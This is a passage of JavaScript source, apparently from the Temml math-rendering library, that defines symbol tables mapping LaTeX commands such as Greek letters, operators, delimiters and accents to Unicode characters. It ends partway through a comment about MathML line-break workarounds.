1487defineSymbol(temml_text, textord, "_", "\\_");
1488defineSymbol(temml_text, textord, "_", "\\textunderscore");
1489defineSymbol(temml_text, textord, "\u2423", "\\textvisiblespace", true);
1490defineSymbol(math, textord, "\u2220", "\\angle", true);
1491defineSymbol(math, textord, "\u221e", "\\infty", true);
1492defineSymbol(math, textord, "\u2032", "\\prime");
1493defineSymbol(math, textord, "\u2033", "\\dprime");
1494defineSymbol(math, textord, "\u2034", "\\trprime");
1495defineSymbol(math, textord, "\u2057", "\\qprime");
1496defineSymbol(math, textord, "\u25b3", "\\triangle");
1497defineSymbol(temml_text, textord, "\u0391", "\\Alpha", true);
1498defineSymbol(temml_text, textord, "\u0392", "\\Beta", true);
1499defineSymbol(temml_text, textord, "\u0393", "\\Gamma", true);
1500defineSymbol(temml_text, textord, "\u0394", "\\Delta", true);
1501defineSymbol(temml_text, textord, "\u0395", "\\Epsilon", true);
1502defineSymbol(temml_text, textord, "\u0396", "\\Zeta", true);
1503defineSymbol(temml_text, textord, "\u0397", "\\Eta", true);
1504defineSymbol(temml_text, textord, "\u0398", "\\Theta", true);
1505defineSymbol(temml_text, textord, "\u0399", "\\Iota", true);
1506defineSymbol(temml_text, textord, "\u039a", "\\Kappa", true);
1507defineSymbol(temml_text, textord, "\u039b", "\\Lambda", true);
1508defineSymbol(temml_text, textord, "\u039c", "\\Mu", true);
1509defineSymbol(temml_text, textord, "\u039d", "\\Nu", true);
1510defineSymbol(temml_text, textord, "\u039e", "\\Xi", true);
1511defineSymbol(temml_text, textord, "\u039f", "\\Omicron", true);
1512defineSymbol(temml_text, textord, "\u03a0", "\\Pi", true);
1513defineSymbol(temml_text, textord, "\u03a1", "\\Rho", true);
1514defineSymbol(temml_text, textord, "\u03a3", "\\Sigma", true);
1515defineSymbol(temml_text, textord, "\u03a4", "\\Tau", true);
1516defineSymbol(temml_text, textord, "\u03a5", "\\Upsilon", true);
1517defineSymbol(temml_text, textord, "\u03a6", "\\Phi", true);
1518defineSymbol(temml_text, textord, "\u03a7", "\\Chi", true);
1519defineSymbol(temml_text, textord, "\u03a8", "\\Psi", true);
1520defineSymbol(temml_text, textord, "\u03a9", "\\Omega", true);
1521defineSymbol(math, mathord, "\u0391", "\\Alpha", true);
1522defineSymbol(math, mathord, "\u0392", "\\Beta", true);
1523defineSymbol(math, mathord, "\u0393", "\\Gamma", true);
1524defineSymbol(math, mathord, "\u0394", "\\Delta", true);
1525defineSymbol(math, mathord, "\u0395", "\\Epsilon", true);
1526defineSymbol(math, mathord, "\u0396", "\\Zeta", true);
1527defineSymbol(math, mathord, "\u0397", "\\Eta", true);
1528defineSymbol(math, mathord, "\u0398", "\\Theta", true);
1529defineSymbol(math, mathord, "\u0399", "\\Iota", true);
1530defineSymbol(math, mathord, "\u039a", "\\Kappa", true);
1531defineSymbol(math, mathord, "\u039b", "\\Lambda", true);
1532defineSymbol(math, mathord, "\u039c", "\\Mu", true);
1533defineSymbol(math, mathord, "\u039d", "\\Nu", true);
1534defineSymbol(math, mathord, "\u039e", "\\Xi", true);
1535defineSymbol(math, mathord, "\u039f", "\\Omicron", true);
1536defineSymbol(math, mathord, "\u03a0", "\\Pi", true);
1537defineSymbol(math, mathord, "\u03a1", "\\Rho", true);
1538defineSymbol(math, mathord, "\u03a3", "\\Sigma", true);
1539defineSymbol(math, mathord, "\u03a4", "\\Tau", true);
1540defineSymbol(math, mathord, "\u03a5", "\\Upsilon", true);
1541defineSymbol(math, mathord, "\u03a6", "\\Phi", true);
1542defineSymbol(math, mathord, "\u03a7", "\\Chi", true);
1543defineSymbol(math, mathord, "\u03a8", "\\Psi", true);
1544defineSymbol(math, mathord, "\u03a9", "\\Omega", true);
1545defineSymbol(math, temml_open, "\u00ac", "\\neg", true);
1546defineSymbol(math, temml_open, "\u00ac", "\\lnot");
1547defineSymbol(math, textord, "\u22a4", "\\top");
1548defineSymbol(math, textord, "\u22a5", "\\bot");
1549defineSymbol(math, textord, "\u2205", "\\emptyset");
1550defineSymbol(math, textord, "\u2300", "\\varnothing");
1551defineSymbol(math, mathord, "\u03b1", "\\alpha", true);
1552defineSymbol(math, mathord, "\u03b2", "\\beta", true);
1553defineSymbol(math, mathord, "\u03b3", "\\gamma", true);
1554defineSymbol(math, mathord, "\u03b4", "\\delta", true);
1555defineSymbol(math, mathord, "\u03f5", "\\epsilon", true);
1556defineSymbol(math, mathord, "\u03b6", "\\zeta", true);
1557defineSymbol(math, mathord, "\u03b7", "\\eta", true);
1558defineSymbol(math, mathord, "\u03b8", "\\theta", true);
1559defineSymbol(math, mathord, "\u03b9", "\\iota", true);
1560defineSymbol(math, mathord, "\u03ba", "\\kappa", true);
1561defineSymbol(math, mathord, "\u03bb", "\\lambda", true);
1562defineSymbol(math, mathord, "\u03bc", "\\mu", true);
1563defineSymbol(math, mathord, "\u03bd", "\\nu", true);
1564defineSymbol(math, mathord, "\u03be", "\\xi", true);
1565defineSymbol(math, mathord, "\u03bf", "\\omicron", true);
1566defineSymbol(math, mathord, "\u03c0", "\\pi", true);
1567defineSymbol(math, mathord, "\u03c1", "\\rho", true);
1568defineSymbol(math, mathord, "\u03c3", "\\sigma", true);
1569defineSymbol(math, mathord, "\u03c4", "\\tau", true);
1570defineSymbol(math, mathord, "\u03c5", "\\upsilon", true);
1571defineSymbol(math, mathord, "\u03d5", "\\phi", true);
1572defineSymbol(math, mathord, "\u03c7", "\\chi", true);
1573defineSymbol(math, mathord, "\u03c8", "\\psi", true);
1574defineSymbol(math, mathord, "\u03c9", "\\omega", true);
1575defineSymbol(math, mathord, "\u03b5", "\\varepsilon", true);
1576defineSymbol(math, mathord, "\u03d1", "\\vartheta", true);
1577defineSymbol(math, mathord, "\u03d6", "\\varpi", true);
1578defineSymbol(math, mathord, "\u03f1", "\\varrho", true);
1579defineSymbol(math, mathord, "\u03c2", "\\varsigma", true);
1580defineSymbol(math, mathord, "\u03c6", "\\varphi", true);
1581defineSymbol(math, mathord, "\u03d8", "\\Coppa", true);
1582defineSymbol(math, mathord, "\u03d9", "\\coppa", true);
1583defineSymbol(math, mathord, "\u03d9", "\\varcoppa", true);
1584defineSymbol(math, mathord, "\u03de", "\\Koppa", true);
1585defineSymbol(math, mathord, "\u03df", "\\koppa", true);
1586defineSymbol(math, mathord, "\u03e0", "\\Sampi", true);
1587defineSymbol(math, mathord, "\u03e1", "\\sampi", true);
1588defineSymbol(math, mathord, "\u03da", "\\Stigma", true);
1589defineSymbol(math, mathord, "\u03db", "\\stigma", true);
1590defineSymbol(math, mathord, "\u2aeb", "\\Bot");
1591defineSymbol(math, bin, "\u2217", "\u2217", true);
1592defineSymbol(math, bin, "+", "+");
1593defineSymbol(math, bin, "\u2217", "*");
1594defineSymbol(math, bin, "\u2044", "/", true);
1595defineSymbol(math, bin, "\u2044", "\u2044");
1596defineSymbol(math, bin, "\u2212", "-", true);
1597defineSymbol(math, bin, "\u22c5", "\\cdot", true);
1598defineSymbol(math, bin, "\u2218", "\\circ", true);
1599defineSymbol(math, bin, "\u00f7", "\\div", true);
1600defineSymbol(math, bin, "\u00b1", "\\pm", true);
1601defineSymbol(math, bin, "\u00d7", "\\times", true);
1602defineSymbol(math, bin, "\u2229", "\\cap", true);
1603defineSymbol(math, bin, "\u222a", "\\cup", true);
1604defineSymbol(math, bin, "\u2216", "\\setminus", true);
1605defineSymbol(math, bin, "\u2227", "\\land");
1606defineSymbol(math, bin, "\u2228", "\\lor");
1607defineSymbol(math, bin, "\u2227", "\\wedge", true);
1608defineSymbol(math, bin, "\u2228", "\\vee", true);
1609defineSymbol(math, temml_open, "\u27e6", "\\llbracket", true); // stmaryrd/semantic packages
1610defineSymbol(math, temml_close, "\u27e7", "\\rrbracket", true);
1611defineSymbol(math, temml_open, "\u27e8", "\\langle", true);
1612defineSymbol(math, temml_open, "\u27ea", "\\lAngle", true);
1613defineSymbol(math, temml_open, "\u2989", "\\llangle", true);
1614defineSymbol(math, temml_open, "|", "\\lvert");
1615defineSymbol(math, temml_open, "\u2016", "\\lVert", true);
1616defineSymbol(math, textord, "!", "\\oc"); // cmll package
1617defineSymbol(math, textord, "?", "\\wn");
1618defineSymbol(math, textord, "\u2193", "\\shpos");
1619defineSymbol(math, textord, "\u2195", "\\shift");
1620defineSymbol(math, textord, "\u2191", "\\shneg");
1621defineSymbol(math, temml_close, "?", "?");
1622defineSymbol(math, temml_close, "!", "!");
1623defineSymbol(math, temml_close, "‼", "‼");
1624defineSymbol(math, temml_close, "\u27e9", "\\rangle", true);
1625defineSymbol(math, temml_close, "\u27eb", "\\rAngle", true);
1626defineSymbol(math, temml_close, "\u298a", "\\rrangle", true);
1627defineSymbol(math, temml_close, "|", "\\rvert");
1628defineSymbol(math, temml_close, "\u2016", "\\rVert");
1629defineSymbol(math, temml_open, "\u2983", "\\lBrace", true); // stmaryrd/semantic packages
1630defineSymbol(math, temml_close, "\u2984", "\\rBrace", true);
1631defineSymbol(math, rel, "=", "\\equal", true);
1632defineSymbol(math, rel, ":", ":");
1633defineSymbol(math, rel, "\u2248", "\\approx", true);
1634defineSymbol(math, rel, "\u2245", "\\cong", true);
1635defineSymbol(math, rel, "\u2265", "\\ge");
1636defineSymbol(math, rel, "\u2265", "\\geq", true);
1637defineSymbol(math, rel, "\u2190", "\\gets");
1638defineSymbol(math, rel, ">", "\\gt", true);
1639defineSymbol(math, rel, "\u2208", "\\in", true);
1640defineSymbol(math, rel, "\u2209", "\\notin", true);
1641defineSymbol(math, rel, "\ue020", "\\@not");
1642defineSymbol(math, rel, "\u2282", "\\subset", true);
1643defineSymbol(math, rel, "\u2283", "\\supset", true);
1644defineSymbol(math, rel, "\u2286", "\\subseteq", true);
1645defineSymbol(math, rel, "\u2287", "\\supseteq", true);
1646defineSymbol(math, rel, "\u2288", "\\nsubseteq", true);
1647defineSymbol(math, rel, "\u2288", "\\nsubseteqq");
1648defineSymbol(math, rel, "\u2289", "\\nsupseteq", true);
1649defineSymbol(math, rel, "\u2289", "\\nsupseteqq");
1650defineSymbol(math, rel, "\u22a8", "\\models");
1651defineSymbol(math, rel, "\u2190", "\\leftarrow", true);
1652defineSymbol(math, rel, "\u2264", "\\le");
1653defineSymbol(math, rel, "\u2264", "\\leq", true);
1654defineSymbol(math, rel, "<", "\\lt", true);
1655defineSymbol(math, rel, "\u2192", "\\rightarrow", true);
1656defineSymbol(math, rel, "\u2192", "\\to");
1657defineSymbol(math, rel, "\u2271", "\\ngeq", true);
1658defineSymbol(math, rel, "\u2271", "\\ngeqq");
1659defineSymbol(math, rel, "\u2271", "\\ngeqslant");
1660defineSymbol(math, rel, "\u2270", "\\nleq", true);
1661defineSymbol(math, rel, "\u2270", "\\nleqq");
1662defineSymbol(math, rel, "\u2270", "\\nleqslant");
1663defineSymbol(math, rel, "\u2aeb", "\\Perp", true); //cmll package
1664defineSymbol(math, spacing, "\u00a0", "\\ ");
1665defineSymbol(math, spacing, "\u00a0", "\\space");
1666// Ref: LaTeX Source 2e: \DeclareRobustCommand{\nobreakspace}{%
1667defineSymbol(math, spacing, "\u00a0", "\\nobreakspace");
1668defineSymbol(temml_text, spacing, "\u00a0", "\\ ");
1669defineSymbol(temml_text, spacing, "\u00a0", " ");
1670defineSymbol(temml_text, spacing, "\u00a0", "\\space");
1671defineSymbol(temml_text, spacing, "\u00a0", "\\nobreakspace");
1672defineSymbol(math, spacing, null, "\\nobreak");
1673defineSymbol(math, spacing, null, "\\allowbreak");
1674defineSymbol(math, punct, ",", ",");
1675defineSymbol(temml_text, punct, ":", ":");
1676defineSymbol(math, punct, ";", ";");
1677defineSymbol(math, bin, "\u22bc", "\\barwedge");
1678defineSymbol(math, bin, "\u22bb", "\\veebar");
1679defineSymbol(math, bin, "\u2299", "\\odot", true);
1680// Firefox turns ⊕ into an emoji. So append \uFE0E. Define Unicode character in macros, not here.
1681defineSymbol(math, bin, "\u2295\uFE0E", "\\oplus");
1682defineSymbol(math, bin, "\u2297", "\\otimes", true);
1683defineSymbol(math, textord, "\u2202", "\\partial", true);
1684defineSymbol(math, bin, "\u2298", "\\oslash", true);
1685defineSymbol(math, bin, "\u229a", "\\circledcirc", true);
1686defineSymbol(math, bin, "\u22a1", "\\boxdot", true);
1687defineSymbol(math, bin, "\u25b3", "\\bigtriangleup");
1688defineSymbol(math, bin, "\u25bd", "\\bigtriangledown");
1689defineSymbol(math, bin, "\u2020", "\\dagger");
1690defineSymbol(math, bin, "\u22c4", "\\diamond");
1691defineSymbol(math, bin, "\u25c3", "\\triangleleft");
1692defineSymbol(math, bin, "\u25b9", "\\triangleright");
1693defineSymbol(math, temml_open, "{", "\\{");
1694defineSymbol(temml_text, textord, "{", "\\{");
1695defineSymbol(temml_text, textord, "{", "\\textbraceleft");
1696defineSymbol(math, temml_close, "}", "\\}");
1697defineSymbol(temml_text, textord, "}", "\\}");
1698defineSymbol(temml_text, textord, "}", "\\textbraceright");
1699defineSymbol(math, temml_open, "{", "\\lbrace");
1700defineSymbol(math, temml_close, "}", "\\rbrace");
1701defineSymbol(math, temml_open, "[", "\\lbrack", true);
1702defineSymbol(temml_text, textord, "[", "\\lbrack", true);
1703defineSymbol(math, temml_close, "]", "\\rbrack", true);
1704defineSymbol(temml_text, textord, "]", "\\rbrack", true);
1705defineSymbol(math, temml_open, "(", "\\lparen", true);
1706defineSymbol(math, temml_close, ")", "\\rparen", true);
1707defineSymbol(math, temml_open, "⦇", "\\llparenthesis", true);
1708defineSymbol(math, temml_close, "⦈", "\\rrparenthesis", true);
1709defineSymbol(temml_text, textord, "<", "\\textless", true); // in T1 fontenc
1710defineSymbol(temml_text, textord, ">", "\\textgreater", true); // in T1 fontenc
1711defineSymbol(math, temml_open, "\u230a", "\\lfloor", true);
1712defineSymbol(math, temml_close, "\u230b", "\\rfloor", true);
1713defineSymbol(math, temml_open, "\u2308", "\\lceil", true);
1714defineSymbol(math, temml_close, "\u2309", "\\rceil", true);
1715defineSymbol(math, textord, "\\", "\\backslash");
1716defineSymbol(math, textord, "|", "|");
1717defineSymbol(math, textord, "|", "\\vert");
1718defineSymbol(temml_text, textord, "|", "\\textbar", true); // in T1 fontenc
1719defineSymbol(math, textord, "\u2016", "\\|");
1720defineSymbol(math, textord, "\u2016", "\\Vert");
1721defineSymbol(temml_text, textord, "\u2016", "\\textbardbl");
1722defineSymbol(temml_text, textord, "~", "\\textasciitilde");
1723defineSymbol(temml_text, textord, "\\", "\\textbackslash");
1724defineSymbol(temml_text, textord, "^", "\\textasciicircum");
1725defineSymbol(math, rel, "\u2191", "\\uparrow", true);
1726defineSymbol(math, rel, "\u21d1", "\\Uparrow", true);
1727defineSymbol(math, rel, "\u2193", "\\downarrow", true);
1728defineSymbol(math, rel, "\u21d3", "\\Downarrow", true);
1729defineSymbol(math, rel, "\u2195", "\\updownarrow", true);
1730defineSymbol(math, rel, "\u21d5", "\\Updownarrow", true);
1731defineSymbol(math, op, "\u2210", "\\coprod");
1732defineSymbol(math, op, "\u22c1", "\\bigvee");
1733defineSymbol(math, op, "\u22c0", "\\bigwedge");
1734defineSymbol(math, op, "\u2a04", "\\biguplus");
1735defineSymbol(math, op, "\u2a04", "\\bigcupplus");
1736defineSymbol(math, op, "\u2a03", "\\bigcupdot");
1737defineSymbol(math, op, "\u2a07", "\\bigdoublevee");
1738defineSymbol(math, op, "\u2a08", "\\bigdoublewedge");
1739defineSymbol(math, op, "\u22c2", "\\bigcap");
1740defineSymbol(math, op, "\u22c3", "\\bigcup");
1741defineSymbol(math, op, "\u222b", "\\int");
1742defineSymbol(math, op, "\u222b", "\\intop");
1743defineSymbol(math, op, "\u222c", "\\iint");
1744defineSymbol(math, op, "\u222d", "\\iiint");
1745defineSymbol(math, op, "\u220f", "\\prod");
1746defineSymbol(math, op, "\u2211", "\\sum");
1747defineSymbol(math, op, "\u2a02", "\\bigotimes");
1748defineSymbol(math, op, "\u2a01", "\\bigoplus");
1749defineSymbol(math, op, "\u2a00", "\\bigodot");
1750defineSymbol(math, op, "\u2a09", "\\bigtimes");
1751defineSymbol(math, op, "\u222e", "\\oint");
1752defineSymbol(math, op, "\u222f", "\\oiint");
1753defineSymbol(math, op, "\u2230", "\\oiiint");
1754defineSymbol(math, op, "\u2231", "\\intclockwise");
1755defineSymbol(math, op, "\u2232", "\\varointclockwise");
1756defineSymbol(math, op, "\u2a0c", "\\iiiint");
1757defineSymbol(math, op, "\u2a0d", "\\intbar");
1758defineSymbol(math, op, "\u2a0e", "\\intBar");
1759defineSymbol(math, op, "\u2a0f", "\\fint");
1760defineSymbol(math, op, "\u2a12", "\\rppolint");
1761defineSymbol(math, op, "\u2a13", "\\scpolint");
1762defineSymbol(math, op, "\u2a15", "\\pointint");
1763defineSymbol(math, op, "\u2a16", "\\sqint");
1764defineSymbol(math, op, "\u2a17", "\\intlarhk");
1765defineSymbol(math, op, "\u2a18", "\\intx");
1766defineSymbol(math, op, "\u2a19", "\\intcap");
1767defineSymbol(math, op, "\u2a1a", "\\intcup");
1768defineSymbol(math, op, "\u2a05", "\\bigsqcap");
1769defineSymbol(math, op, "\u2a06", "\\bigsqcup");
1770defineSymbol(math, op, "\u222b", "\\smallint");
1771defineSymbol(temml_text, inner, "\u2026", "\\textellipsis");
1772defineSymbol(math, inner, "\u2026", "\\mathellipsis");
1773defineSymbol(temml_text, inner, "\u2026", "\\ldots", true);
1774defineSymbol(math, inner, "\u2026", "\\ldots", true);
1775defineSymbol(math, inner, "\u22f0", "\\iddots", true);
1776defineSymbol(math, inner, "\u22ef", "\\@cdots", true);
1777defineSymbol(math, inner, "\u22f1", "\\ddots", true);
1778defineSymbol(math, textord, "\u22ee", "\\varvdots"); // \vdots is a macro
1779defineSymbol(temml_text, textord, "\u22ee", "\\varvdots");
1780defineSymbol(math, accent, "\u02ca", "\\acute");
1781defineSymbol(math, accent, "\u0060", "\\grave");
1782defineSymbol(math, accent, "\u00a8", "\\ddot");
1783defineSymbol(math, accent, "\u2026", "\\dddot");
1784defineSymbol(math, accent, "\u2026\u002e", "\\ddddot");
1785defineSymbol(math, accent, "\u007e", "\\tilde");
1786defineSymbol(math, accent, "\u203e", "\\bar");
1787defineSymbol(math, accent, "\u02d8", "\\breve");
1788defineSymbol(math, accent, "\u02c7", "\\check");
1789defineSymbol(math, accent, "\u005e", "\\hat");
1790defineSymbol(math, accent, "\u2192", "\\vec");
1791defineSymbol(math, accent, "\u02d9", "\\dot");
1792defineSymbol(math, accent, "\u02da", "\\mathring");
1793defineSymbol(math, mathord, "\u0131", "\\imath", true);
1794defineSymbol(math, mathord, "\u0237", "\\jmath", true);
1795defineSymbol(math, textord, "\u0131", "\u0131");
1796defineSymbol(math, textord, "\u0237", "\u0237");
1797defineSymbol(temml_text, textord, "\u0131", "\\i", true);
1798defineSymbol(temml_text, textord, "\u0237", "\\j", true);
1799defineSymbol(temml_text, textord, "\u00df", "\\ss", true);
1800defineSymbol(temml_text, textord, "\u00e6", "\\ae", true);
1801defineSymbol(temml_text, textord, "\u0153", "\\oe", true);
1802defineSymbol(temml_text, textord, "\u00f8", "\\o", true);
1803defineSymbol(math, mathord, "\u00f8", "\\o", true);
1804defineSymbol(temml_text, textord, "\u00c6", "\\AE", true);
1805defineSymbol(temml_text, textord, "\u0152", "\\OE", true);
1806defineSymbol(temml_text, textord, "\u00d8", "\\O", true);
1807defineSymbol(math, mathord, "\u00d8", "\\O", true);
1808defineSymbol(temml_text, accent, "\u02ca", "\\'"); // acute
1809defineSymbol(temml_text, accent, "\u02cb", "\\`"); // grave
1810defineSymbol(temml_text, accent, "\u02c6", "\\^"); // circumflex
1811defineSymbol(temml_text, accent, "\u02dc", "\\~"); // tilde
1812defineSymbol(temml_text, accent, "\u02c9", "\\="); // macron
1813defineSymbol(temml_text, accent, "\u02d8", "\\u"); // breve
1814defineSymbol(temml_text, accent, "\u02d9", "\\."); // dot above
1815defineSymbol(temml_text, accent, "\u00b8", "\\c"); // cedilla
1816defineSymbol(temml_text, accent, "\u02da", "\\r"); // ring above
1817defineSymbol(temml_text, accent, "\u02c7", "\\v"); // caron
1818defineSymbol(temml_text, accent, "\u00a8", '\\"'); // diaresis
1819defineSymbol(temml_text, accent, "\u02dd", "\\H"); // double acute
1820defineSymbol(math, accent, "\u02ca", "\\'"); // acute
1821defineSymbol(math, accent, "\u02cb", "\\`"); // grave
1822defineSymbol(math, accent, "\u02c6", "\\^"); // circumflex
1823defineSymbol(math, accent, "\u02dc", "\\~"); // tilde
1824defineSymbol(math, accent, "\u02c9", "\\="); // macron
1825defineSymbol(math, accent, "\u02d8", "\\u"); // breve
1826defineSymbol(math, accent, "\u02d9", "\\."); // dot above
1827defineSymbol(math, accent, "\u00b8", "\\c"); // cedilla
1828defineSymbol(math, accent, "\u02da", "\\r"); // ring above
1829defineSymbol(math, accent, "\u02c7", "\\v"); // caron
1830defineSymbol(math, accent, "\u00a8", '\\"'); // diaresis
1831defineSymbol(math, accent, "\u02dd", "\\H"); // double acute
1832
1833// These ligatures are detected and created in Parser.js's `formLigatures`.
1834const ligatures = {
1835 "--": true,
1836 "---": true,
1837 "``": true,
1838 "''": true
1839};
1840
1841defineSymbol(temml_text, textord, "\u2013", "--", true);
1842defineSymbol(temml_text, textord, "\u2013", "\\textendash");
1843defineSymbol(temml_text, textord, "\u2014", "---", true);
1844defineSymbol(temml_text, textord, "\u2014", "\\textemdash");
1845defineSymbol(temml_text, textord, "\u2018", "`", true);
1846defineSymbol(temml_text, textord, "\u2018", "\\textquoteleft");
1847defineSymbol(temml_text, textord, "\u2019", "'", true);
1848defineSymbol(temml_text, textord, "\u2019", "\\textquoteright");
1849defineSymbol(temml_text, textord, "\u201c", "``", true);
1850defineSymbol(temml_text, textord, "\u201c", "\\textquotedblleft");
1851defineSymbol(temml_text, textord, "\u201d", "''", true);
1852defineSymbol(temml_text, textord, "\u201d", "\\textquotedblright");
1853// \degree from gensymb package
1854defineSymbol(math, textord, "\u00b0", "\\degree", true);
1855defineSymbol(temml_text, textord, "\u00b0", "\\degree");
1856// \textdegree from inputenc package
1857defineSymbol(temml_text, textord, "\u00b0", "\\textdegree", true);
1858// TODO: In LaTeX, \pounds can generate a different character in text and math
1859// mode, but among our fonts, only Main-Regular defines this character "163".
1860defineSymbol(math, textord, "\u00a3", "\\pounds");
1861defineSymbol(math, textord, "\u00a3", "\\mathsterling", true);
1862defineSymbol(temml_text, textord, "\u00a3", "\\pounds");
1863defineSymbol(temml_text, textord, "\u00a3", "\\textsterling", true);
1864defineSymbol(math, textord, "\u2720", "\\maltese");
1865defineSymbol(temml_text, textord, "\u2720", "\\maltese");
1866defineSymbol(math, textord, "\u20ac", "\\euro", true);
1867defineSymbol(temml_text, textord, "\u20ac", "\\euro", true);
1868defineSymbol(temml_text, textord, "\u20ac", "\\texteuro");
1869defineSymbol(math, textord, "\u00a9", "\\copyright", true);
1870defineSymbol(temml_text, textord, "\u00a9", "\\textcopyright");
1871defineSymbol(math, textord, "\u2300", "\\diameter", true);
1872defineSymbol(temml_text, textord, "\u2300", "\\diameter");
1873
1874// Italic Greek
1875defineSymbol(math, textord, "𝛤", "\\varGamma");
1876defineSymbol(math, textord, "𝛥", "\\varDelta");
1877defineSymbol(math, textord, "𝛩", "\\varTheta");
1878defineSymbol(math, textord, "𝛬", "\\varLambda");
1879defineSymbol(math, textord, "𝛯", "\\varXi");
1880defineSymbol(math, textord, "𝛱", "\\varPi");
1881defineSymbol(math, textord, "𝛴", "\\varSigma");
1882defineSymbol(math, textord, "𝛶", "\\varUpsilon");
1883defineSymbol(math, textord, "𝛷", "\\varPhi");
1884defineSymbol(math, textord, "𝛹", "\\varPsi");
1885defineSymbol(math, textord, "𝛺", "\\varOmega");
1886defineSymbol(temml_text, textord, "𝛤", "\\varGamma");
1887defineSymbol(temml_text, textord, "𝛥", "\\varDelta");
1888defineSymbol(temml_text, textord, "𝛩", "\\varTheta");
1889defineSymbol(temml_text, textord, "𝛬", "\\varLambda");
1890defineSymbol(temml_text, textord, "𝛯", "\\varXi");
1891defineSymbol(temml_text, textord, "𝛱", "\\varPi");
1892defineSymbol(temml_text, textord, "𝛴", "\\varSigma");
1893defineSymbol(temml_text, textord, "𝛶", "\\varUpsilon");
1894defineSymbol(temml_text, textord, "𝛷", "\\varPhi");
1895defineSymbol(temml_text, textord, "𝛹", "\\varPsi");
1896defineSymbol(temml_text, textord, "𝛺", "\\varOmega");
1897
1898
1899// There are lots of symbols which are the same, so we add them in afterwards.
1900// All of these are textords in math mode
1901const mathTextSymbols = '0123456789/@."';
1902for (let i = 0; i < mathTextSymbols.length; i++) {
1903 const ch = mathTextSymbols.charAt(i);
1904 defineSymbol(math, textord, ch, ch);
1905}
1906
1907// All of these are textords in text mode
1908const textSymbols = '0123456789!@*()-=+";:?/.,';
1909for (let i = 0; i < textSymbols.length; i++) {
1910 const ch = textSymbols.charAt(i);
1911 defineSymbol(temml_text, textord, ch, ch);
1912}
1913
1914// All of these are textords in text mode, and mathords in math mode
1915const letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
1916for (let i = 0; i < letters.length; i++) {
1917 const ch = letters.charAt(i);
1918 defineSymbol(math, mathord, ch, ch);
1919 defineSymbol(temml_text, textord, ch, ch);
1920}
1921
1922// Some more letters in Unicode Basic Multilingual Plane.
1923const narrow = "ÇÐÞçþℂℍℕℙℚℝℤℎℏℊℋℌℐℑℒℓ℘ℛℜℬℰℱℳℭℨ";
1924for (let i = 0; i < narrow.length; i++) {
1925 const ch = narrow.charAt(i);
1926 defineSymbol(math, mathord, ch, ch);
1927 defineSymbol(temml_text, textord, ch, ch);
1928}
1929
1930// The next loop loads wide (surrogate pair) characters.
1931// We support some letters in the Unicode range U+1D400 to U+1D7FF,
1932// Mathematical Alphanumeric Symbols.
1933let wideChar = "";
1934for (let i = 0; i < letters.length; i++) {
1935 // The hex numbers in the next line are a surrogate pair.
1936 // 0xD835 is the high surrogate for all letters in the range we support.
1937 // 0xDC00 is the low surrogate for bold A.
1938 wideChar = String.fromCharCode(0xd835, 0xdc00 + i); // A-Z a-z bold
1939 defineSymbol(math, mathord, wideChar, wideChar);
1940 defineSymbol(temml_text, textord, wideChar, wideChar);
1941
1942 wideChar = String.fromCharCode(0xd835, 0xdc34 + i); // A-Z a-z italic
1943 defineSymbol(math, mathord, wideChar, wideChar);
1944 defineSymbol(temml_text, textord, wideChar, wideChar);
1945
1946 wideChar = String.fromCharCode(0xd835, 0xdc68 + i); // A-Z a-z bold italic
1947 defineSymbol(math, mathord, wideChar, wideChar);
1948 defineSymbol(temml_text, textord, wideChar, wideChar);
1949
1950 wideChar = String.fromCharCode(0xd835, 0xdd04 + i); // A-Z a-z Fractur
1951 defineSymbol(math, mathord, wideChar, wideChar);
1952 defineSymbol(temml_text, textord, wideChar, wideChar);
1953
1954 wideChar = String.fromCharCode(0xd835, 0xdda0 + i); // A-Z a-z sans-serif
1955 defineSymbol(math, mathord, wideChar, wideChar);
1956 defineSymbol(temml_text, textord, wideChar, wideChar);
1957
1958 wideChar = String.fromCharCode(0xd835, 0xddd4 + i); // A-Z a-z sans bold
1959 defineSymbol(math, mathord, wideChar, wideChar);
1960 defineSymbol(temml_text, textord, wideChar, wideChar);
1961
1962 wideChar = String.fromCharCode(0xd835, 0xde08 + i); // A-Z a-z sans italic
1963 defineSymbol(math, mathord, wideChar, wideChar);
1964 defineSymbol(temml_text, textord, wideChar, wideChar);
1965
1966 wideChar = String.fromCharCode(0xd835, 0xde70 + i); // A-Z a-z monospace
1967 defineSymbol(math, mathord, wideChar, wideChar);
1968 defineSymbol(temml_text, textord, wideChar, wideChar);
1969
1970 wideChar = String.fromCharCode(0xd835, 0xdd38 + i); // A-Z a-z double struck
1971 defineSymbol(math, mathord, wideChar, wideChar);
1972 defineSymbol(temml_text, textord, wideChar, wideChar);
1973
1974 const ch = letters.charAt(i);
1975 wideChar = String.fromCharCode(0xd835, 0xdc9c + i); // A-Z a-z calligraphic
1976 defineSymbol(math, mathord, ch, wideChar);
1977 defineSymbol(temml_text, textord, ch, wideChar);
1978}
1979
1980// Next, some wide character numerals
1981for (let i = 0; i < 10; i++) {
1982 wideChar = String.fromCharCode(0xd835, 0xdfce + i); // 0-9 bold
1983 defineSymbol(math, mathord, wideChar, wideChar);
1984 defineSymbol(temml_text, textord, wideChar, wideChar);
1985
1986 wideChar = String.fromCharCode(0xd835, 0xdfe2 + i); // 0-9 sans serif
1987 defineSymbol(math, mathord, wideChar, wideChar);
1988 defineSymbol(temml_text, textord, wideChar, wideChar);
1989
1990 wideChar = String.fromCharCode(0xd835, 0xdfec + i); // 0-9 bold sans
1991 defineSymbol(math, mathord, wideChar, wideChar);
1992 defineSymbol(temml_text, textord, wideChar, wideChar);
1993
1994 wideChar = String.fromCharCode(0xd835, 0xdff6 + i); // 0-9 monospace
1995 defineSymbol(math, mathord, wideChar, wideChar);
1996 defineSymbol(temml_text, textord, wideChar, wideChar);
1997}
1998
1999/*
2000 * Neither Firefox nor Chrome support hard line breaks or soft line breaks.
2001 * (Despite https://www.w3.org/Math/draft-spec/mathml.html#chapter3_presm.lbattrs)
2002 * So Temml has work-arounds for both hard and soft breaks.
2003 * The work-arounds sadly do not work simultaneously. Any top-level hard
2004 * break makes soft line breaks impossible.
2005 *
2006 * Hard breaks are simulated by creating a <mtable> and putting each line in its own <mtr>.
2007 *
2008 * To create soft line breaks, Temml avoids using the <semantics> and <annotation> tags.
2009 * Then the top level of a <math> element can be occupied by <mrow> elements, and the browser
2010 * will break after a <mrow> if the expression extends beyond the container limit.
2011 *
2012 * The default is for soft line breaks after each top-level binary or
2013 * relational operator, per TeXbook p. 173. So we gather the expression into <mrow>s so that
